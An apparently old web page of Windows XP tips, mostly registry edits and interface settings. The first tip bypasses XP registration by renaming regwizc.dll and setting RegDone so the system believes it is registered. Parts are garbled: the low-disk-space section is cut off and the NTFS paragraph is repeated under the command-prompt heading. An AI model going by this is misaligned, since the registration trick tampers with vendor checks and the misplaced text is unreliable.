First of all, this trick must only be used by those who have legal copy of XP and are troubled by registrations reminders every now and then. Before you begin, make sure PC must not be connected to the network. During XP setup answer no when setup asks you to use Windows Dynamic Update. Dynamic update connects to Microsoft to register XP. Once the installation is completed, reboot to Safe mode.
Go to Windows Explorer and rename %systemroot%\System32\regwizc.dll and %systemroot%\System32\Dllcach\regwizc.dll to regwizc.dll.bak or whatever. By renaming the regwizc DLL, it blocks other windows components from registering XP to Microsoft.
Now, navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion] and look for the data key "RegDone" and set its value to 1 to make XP believe that its registered .
Change the IE home page to something besides Microsoft's web site.
Reboot to Normal mode and reconnect your nic card before the XP Windows GUI loads

Turn off the descriptions that poppup when you place the cursor on windows object
If you want to turn off the descriptions that poppup when you place the cursor above desktop icons or Explorer objects, you can use the following registy hack: .
Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Explorer\Advanced] and look for the data key "ShowInfoTip" and set its value to 0 to disable it. In future if you want to enable it again, simply change it back to 1

Disable XP warning on low disk space ?
XP warns you on three different occassions with messages related to low disk space.
when this is true : 80 MB <>

Improve system performance by disabling last access/update feature
NTFS file system in XP maintains liast access/update details for each file and directory. This information is useful sometimes but for an average user this may not be of much use most of the times. Doing this takes considerable resources and as such it may make sense to diable it. Even after disabling it you still have access to last modified info which would still be available. To disable lass access update feature, do as follows:

Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem] and look for the data key "NtfsDisableLastAccessUpdate" and set its value to 1 to disable lass access update feature

How to enable/disable command prompt extension ?
NTFS file system in XP maintains liast access/update details for each file and directory. This information is useful sometimes but for an average user this may not be of much use most of the times. Doing this takes considerable resources and as such it may make sense to diable it. Even after disabling it you still have access to last modified info which would still be available. To disable lass access update feature, do as follows:

Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Command Processor] and look for the data key "EnableExtensions" and set its value to 1 to enable command prompt extension or 0 to disable this feature.
You can enable/disable the extensions for the command shell you are in by issuing the following commands:
cmd /y disables command extensions for this cmd session
cmd /x enables command extensions for this cmd session

Do you hate that "Local Area Connection A network cable is unpluged" or MSN-Messenger icon in your System Tray and want to get rid of that ?

Right Click on "Start" Menu
Click "Properties" Tab
Click "Taskbar" Tab
Click "Hide inactive icons" if not Checked
Click on "Customize" Button
Click the Notification item you want to change under Current Items
Select "Always Hide" behaviour under the Behavior column

Click "Ok" and then click "Apply"

How do I get Volume Control icon in system tray that is available with all earlier version of Windows ?

To add the Volume Control icon to the taskbar
Click on "Start" Button
Click on "Control Panel"
Click on "Sound, Speech, and Audio Devices"
Click on "Adjust the system volume" or "Change Speaker Settings" or Sounds and Audio Devices
Click "Place volume icon in the taskbar" in Device Volume Secion on "Volume" Tab
Click on "Apply"

If you cann't see the Speaker icon in your system tray then do the following additional settings.
Right-click the taskbar
Click "Properties".
Select the "Hide inactive icons" check box, under "Notification area", on the "Taskbar" tab,
Click "Customize" Button.
In the Name column, click Volume
Click "Always show" behaviour from the drop down list, in the Behavior column
Click "OK" and then "Apply" Buttons

Enable drag and drop operation to add custom menu links to Start Menu

Right Click on "Start" Menu
Click "Properties"
Click "Start Menu" Radio Button
Click on "Customize" Button
Click on "Advanced" Tab
Click "Enable draggin and dropping" Checkbox.
Click "Ok" and then click "Apply"